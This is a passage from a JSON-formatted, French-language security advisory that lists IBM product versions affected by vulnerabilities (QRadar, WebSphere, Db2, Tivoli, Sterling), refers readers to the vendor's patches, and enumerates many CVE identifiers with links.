"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar SIEM versions 7.6.x ant\u00e9rieures \u00e0 7.6.0.3",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Security QRadar EDR versions 3.12.x ant\u00e9rieures \u00e0 3.12.26",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "WebSphere Hybrid Edition version 5.1 sans les correctifs de s\u00e9curit\u00e9 APAR DT496328, DT496327 et DT497580",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Db2 Genius Hub \u0026 Agentics versions 1.1.x ant\u00e9rieures \u00e0 1.1.4",
"product": {
"name": "Db2",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Tivoli Application Dependency Discovery Manager versions 7.3.0.0 \u00e0 7.3.0.12 avec WebSphere Application Server Liberty versions ant\u00e9rieures \u00e0 26.0.0.8",
"product": {
"name": "Tivoli",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "WebSphere Extreme Scale versions 8.6.1.x ant\u00e9rieures \u00e0 8.6.1.6 avec le correctif de s\u00e9curit\u00e9 PH72588",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Connect:Direct for Unix versions 6.3.0.x ant\u00e9rieures \u00e0 6.3.0.7.iFix026",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Connect:Direct for Unix versions 6.4.0.x ant\u00e9rieures \u00e0 6.4.0.6.iFix014",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar Suite Software versions 1.10.12.0 \u00e0 1.11.10.0 ant\u00e9rieures \u00e0 1.11.12.0",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar AI Assistant versions ant\u00e9rieures \u00e0 2.2.0",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2026-41411",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41411"
},
{
"name": "CVE-2026-14380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14380"
},
{
"name": "CVE-2026-26007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26007"
},
{
"name": "CVE-2026-43198",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43198"
},
{
"name": "CVE-2026-54293",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54293"
},
{
"name": "CVE-2026-49978",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49978"
},
{
"name": "CVE-2026-9697",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9697"
},
{
"name": "CVE-2026-53540",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53540"
},
{
"name": "CVE-2026-54283",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54283"
},
{
"name": "CVE-2026-54369",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54369"
},
{
"name": "CVE-2026-40466",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40466"
},
{
"name": "CVE-2026-59724",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59724"
},
{
"name": "CVE-2026-45505",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45505"
},
{
"name": "CVE-2026-4878",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4878"
},
{
"name": "CVE-2026-49476",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49476"
},
{
"name": "CVE-2026-42588",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42588"
},
{
"name": "CVE-2026-27205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27205"
},
{
"name": "CVE-2026-59205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59205"
},
{
"name": "CVE-2026-33845",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33845"
},
{
"name": "CVE-2026-41254",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41254"
},
{
"name": "CVE-2026-42253",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42253"
},
{
"name": "CVE-2026-44405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44405"
},
{
"name": "CVE-2026-50645",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50645"
},
{
"name": "CVE-2026-44289",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44289"
},
{
"name": "CVE-2026-42041",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42041"
},
{
"name": "CVE-2026-9679",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9679"
},
{
"name": "CVE-2026-39892",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39892"
},
{
"name": "CVE-2026-10050",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10050"
},
{
"name": "CVE-2024-24762",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-24762"
},
{
"name": "CVE-2026-42402",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42402"
},
{
"name": "CVE-2026-42561",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42561"
},
{
"name": "CVE-2025-14505",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14505"
},
{
"name": "CVE-2026-16184",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16184"
},
{
"name": "CVE-2026-15328",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15328"
},
{
"name": "CVE-2026-32286",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32286"
},
{
"name": "CVE-2026-46227",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46227"
},
{
"name": "CVE-2026-57455",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57455"
},
{
"name": "CVE-2026-54514",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54514"
},
{
"name": "CVE-2026-44293",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44293"
},
{
"name": "CVE-2026-44290",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44290"
},
{
"name": "CVE-2021-23336",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-23336"
},
{
"name": "CVE-2026-55276",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55276"
},
{
"name": "CVE-2026-48710",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48710"
},
{
"name": "CVE-2026-16243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16243"
},
{
"name": "CVE-2026-9171",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9171"
},
{
"name": "CVE-2025-47279",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47279"
},
{
"name": "CVE-2025-40026",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-40026"
},
{
"name": "CVE-2026-47010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47010"
},
{
"name": "CVE-2026-69249",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69249"
},
{
"name": "CVE-2026-54058",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54058"
},
{
"name": "CVE-2026-55653",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55653"
},
{
"name": "CVE-2026-41239",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41239"
},
{
"name": "CVE-2026-46117",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46117"
},
{
"name": "CVE-2026-59084",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59084"
},
{
"name": "CVE-2026-45740",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45740"
},
{
"name": "CVE-2025-14920",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14920"
},
{
"name": "CVE-2026-52993",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-52993"
},
{
"name": "CVE-2026-59725",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59725"
},
{
"name": "CVE-2026-14739",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14739"
},
{
"name": "CVE-2026-39824",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39824"
},
{
"name": "CVE-2026-46605",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46605"
},
{
"name": "CVE-2026-54275",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54275"
},
{
"name": "CVE-2026-22013",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22013"
},
{
"name": "CVE-2026-47057",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47057"
},
{
"name": "CVE-2026-10846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10846"
},
{
"name": "CVE-2026-22018",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22018"
},
{
"name": "CVE-2026-12505",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12505"
},
{
"name": "CVE-2026-35469",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35469"
},
{
"name": "CVE-2026-9698",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9698"
},
{
"name": "CVE-2026-42015",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42015"
},
{
"name": "CVE-2026-14528",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14528"
},
{
"name": "CVE-2026-54278",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54278"
},
{
"name": "CVE-2026-53538",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53538"
},
{
"name": "CVE-2026-18499",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18499"
},
{
"name": "CVE-2026-46113",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46113"
},
{
"name": "CVE-2026-54515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54515"
},
{
"name": "CVE-2026-53550",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53550"
},
{
"name": "CVE-2026-43279",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43279"
},
{
"name": "CVE-2026-53071",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53071"
},
{
"name": "CVE-2026-49157",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49157"
},
{
"name": "CVE-2026-16221",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16221"
},
{
"name": "CVE-2026-55798",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55798"
},
{
"name": "CVE-2026-6790",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6790"
},
{
"name": "CVE-2026-7246",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7246"
},
{
"name": "CVE-2026-15308",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15308"
},
{
"name": "CVE-2026-66143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66143"
},
{
"name": "CVE-2026-46331",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46331"
},
{
"name": "CVE-2026-66144",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66144"
},
{
"name": "CVE-2026-44494",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44494"
},
{
"name": "CVE-2026-55153",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55153"
},
{
"name": "CVE-2026-46209",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46209"
},
{
"name": "CVE-2026-11541",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11541"
},
{
"name": "CVE-2026-34282",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34282"
},
{
"name": "CVE-2026-44618",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44618"
},
{
"name": "CVE-2026-42036",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42036"
},
{
"name": "CVE-2026-33236",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33236"
},
{
"name": "CVE-2026-54475",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54475"
},
{
"name": "CVE-2026-31692",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31692"
},
{
"name": "CVE-2026-44240",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44240"
},
{
"name": "CVE-2026-55443",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55443"
},
{
"name": "CVE-2026-65900",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65900"
},
{
"name": "CVE-2026-33558",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33558"
},
{
"name": "CVE-2026-53916",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53916"
},
{
"name": "CVE-2026-53006",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53006"
},
{
"name": "CVE-2026-43450",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43450"
},
{
"name": "CVE-2026-33846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33846"
},
{
"name": "CVE-2026-42403",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42403"
},
{
"name": "CVE-2026-34043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34043"
},
{
"name": "CVE-2026-59880",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59880"
},
{
"name": "CVE-2026-15057",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15057"
},
{
"name": "CVE-2026-59890",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59890"
},
{
"name": "CVE-2026-53266",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53266"
},
{
"name": "CVE-2025-64718",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-64718"
},
{
"name": "CVE-2026-46116",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46116"
},
{
"name": "CVE-2026-14742",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14742"
},
{
"name": "CVE-2025-62718",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62718"
},
{
"name": "CVE-2026-44990",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44990"
},
{
"name": "CVE-2026-47265",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47265"
},
{
"name": "CVE-2026-49458",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49458"
},
{
"name": "CVE-2026-54282",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54282"
},
{
"name": "CVE-2026-46259",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46259"
},
{
"name": "CVE-2026-0540",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0540"
},
{
"name": "CVE-2026-45149",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45149"
},
{
"name": "CVE-2026-45249",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45249"
},
{
"name": "CVE-2026-23865",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23865"
},
{
"name": "CVE-2026-48988",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48988"
},
{
"name": "CVE-2026-43499",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43499"
},
{
"name": "CVE-2026-11525",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11525"
},
{
"name": "CVE-2026-15325",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15325"
},
{
"name": "CVE-2026-59199",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59199"
},
{
"name": "CVE-2026-69247",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69247"
},
{
"name": "CVE-2026-33671",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33671"
},
{
"name": "CVE-2026-34515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34515"
},
{
"name": "CVE-2026-14976",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14976"
},
{
"name": "CVE-2026-48864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48864"
},
{
"name": "CVE-2026-34519",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34519"
},
{
"name": "CVE-2026-42033",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42033"
},
{
"name": "CVE-2026-42035",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42035"
},
{
"name": "CVE-2026-54277",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54277"
},
{
"name": "CVE-2026-69248",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69248"
},
{
"name": "CVE-2026-18446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18446"
},
{
"name": "CVE-2026-5450",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5450"
},
{
"name": "CVE-2026-14512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14512"
},
{
"name": "CVE-2026-5260",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5260"
},
{
"name": "CVE-2026-42009",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42009"
},
{
"name": "CVE-2026-54059",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54059"
},
{
"name": "CVE-2026-10842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10842"
},
{
"name": "CVE-2026-46189",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46189"
},
{
"name": "CVE-2026-33750",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33750"
},
{
"name": "CVE-2026-5038",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5038"
},
{
"name": "CVE-2026-40186",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40186"
},
{
"name": "CVE-2026-2359",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2359"
},
{
"name": "CVE-2026-42043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42043"
},
{
"name": "CVE-2026-44288",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44288"
},
{
"name": "CVE-2026-41603",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41603"
},
{
"name": "CVE-2026-8646",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8646"
},
{
"name": "CVE-2026-45822",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45822"
},
{
"name": "CVE-2026-6918",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6918"
},
{
"name": "CVE-2026-55380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55380"
},
{
"name": "CVE-2026-54280",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54280"
},
{
"name": "CVE-2026-46625",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46625"
},
{
"name": "CVE-2026-25749",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25749"
},
{
"name": "CVE-2026-44489",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44489"
},
{
"name": "CVE-2026-12413",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12413"
},
{
"name": "CVE-2026-59869",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59869"
},
{
"name": "CVE-2026-3833",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3833"
},
{
"name": "CVE-2025-13151",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13151"
},
{
"name": "CVE-2026-9320",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9320"
},
{
"name": "CVE-2026-49459",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49459"
},
{
"name": "CVE-2026-66053",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66053"
},
{
"name": "CVE-2026-41044",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41044"
},
{
"name": "CVE-2026-41043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41043"
},
{
"name": "CVE-2026-5079",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5079"
},
{
"name": "CVE-2026-34518",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34518"
},
{
"name": "CVE-2026-50734",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50734"
},
{
"name": "CVE-2026-44930",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44930"
},
{
"name": "CVE-2026-14974",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14974"
},
{
"name": "CVE-2026-41240",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41240"
},
{
"name": "CVE-2026-42010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42010"
},
{
"name": "CVE-2026-5435",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5435"
},
{
"name": "CVE-2026-4427",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4427"
},
{
"name": "CVE-2026-59887",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59887"
},
{
"name": "CVE-2026-59203",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59203"
},
{
"name": "CVE-2025-10263",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-10263"
},
{
"name": "CVE-2026-42040",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42040"
},
{
"name": "CVE-2026-47027",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47027"
},
{
"name": "CVE-2026-23216",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23216"
},
{
"name": "CVE-2026-47058",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47058"
},
{
"name": "CVE-2026-42013",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42013"
},
{
"name": "CVE-2026-62389",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-62389"
},
{
"name": "CVE-2026-12151",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12151"
},
{
"name": "CVE-2026-5928",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5928"
},
{
"name": "CVE-2026-16441",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16441"
},
{
"name": "CVE-2026-27903",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27903"
},
{
"name": "CVE-2026-14981",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14981"
},
{
"name": "CVE-2026-6734",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6734"
},
{
"name": "CVE-2026-12243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12243"
},
{
"name": "CVE-2025-6170",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6170"
},
{
"name": "CVE-2026-46150",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46150"
},
{
"name": "CVE-2026-46090",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46090"
},
{
"name": "CVE-2026-14529",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14529"
},
{
"name": "CVE-2026-34525",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34525"
},
{
"name": "CVE-2025-71089",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-71089"
},
{
"name": "CVE-2026-54274",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54274"
},
{
"name": "CVE-2026-54512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54512"
},
{
"name": "CVE-2026-59197",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59197"
},
{
"name": "CVE-2026-57819",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57819"
},
{
"name": "CVE-2026-53059",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53059"
},
{
"name": "CVE-2026-65899",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65899"
},
{
"name": "CVE-2026-4539",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4539"
},
{
"name": "CVE-2026-34197",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34197"
},
{
"name": "CVE-2026-55956",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55956"
},
{
"name": "CVE-2026-54060",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54060"
},
{
"name": "CVE-2026-41140",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41140"
},
{
"name": "CVE-2025-48913",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48913"
},
{
"name": "CVE-2026-59858",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59858"
},
{
"name": "CVE-2026-42404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42404"
},
{
"name": "CVE-2026-45984",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45984"
},
{
"name": "CVE-2026-53537",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53537"
},
{
"name": "CVE-2026-40046",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40046"
},
{
"name": "CVE-2026-16192",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16192"
},
{
"name": "CVE-2026-50722",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50722"
},
{
"name": "CVE-2026-3304",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3304"
},
{
"name": "CVE-2026-46145",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46145"
},
{
"name": "CVE-2026-54273",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54273"
},
{
"name": "CVE-2026-40895",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40895"
},
{
"name": "CVE-2026-42198",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42198"
},
{
"name": "CVE-2026-47063",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47063"
},
{
"name": "CVE-2026-14515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14515"
},
{
"name": "CVE-2026-22016",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22016"
},
{
"name": "CVE-2026-22021",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22021"
},
{
"name": "CVE-2026-59083",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59083"
},
{
"name": "CVE-2026-25243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25243"
},
{
"name": "CVE-2026-46135",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46135"
},
{
"name": "CVE-2026-22007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22007"
},
{
"name": "CVE-2026-58016",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58016"
},
{
"name": "CVE-2026-43056",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43056"
},
{
"name": "CVE-2026-59888",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59888"
},
{
"name": "CVE-2026-13149",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13149"
},
{
"name": "CVE-2026-47021",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47021"
},
{
"name": "CVE-2025-54410",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-54410"
},
{
"name": "CVE-2026-46054",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46054"
},
{
"name": "CVE-2025-69873",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69873"
},
{
"name": "CVE-2026-49434",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49434"
},
{
"name": "CVE-2026-42011",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42011"
},
{
"name": "CVE-2026-34268",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34268"
},
{
"name": "CVE-2026-16440",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16440"
},
{
"name": "CVE-2026-64958",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-64958"
},
{
"name": "CVE-2026-50721",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50721"
},
{
"name": "CVE-2025-71066",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-71066"
},
{
"name": "CVE-2026-44291",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44291"
},
{
"name": "CVE-2026-15043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15043"
},
{
"name": "CVE-2026-66373",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66373"
},
{
"name": "CVE-2026-3520",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3520"
},
{
"name": "CVE-2026-55693",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55693"
},
{
"name": "CVE-2026-57456",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57456"
},
{
"name": "CVE-2026-29786",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29786"
},
{
"name": "CVE-2026-44487",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44487"
},
{
"name": "CVE-2026-2482",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2482"
},
{
"name": "CVE-2026-11897",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11897"
},
{
"name": "CVE-2026-42038",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42038"
},
{
"name": "CVE-2026-49844",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49844"
},
{
"name": "CVE-2026-31419",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31419"
},
{
"name": "CVE-2026-41680",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41680"
},
{
"name": "CVE-2026-44292",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44292"
},
{
"name": "CVE-2026-54370",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54370"
},
{
"name": "CVE-2026-42039",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42039"
},
{
"name": "CVE-2026-49432",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49432"
},
{
"name": "CVE-2026-59879",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59879"
},
{
"name": "CVE-2026-46968",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46968"
},
{
"name": "CVE-2025-15599",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15599"
},
{
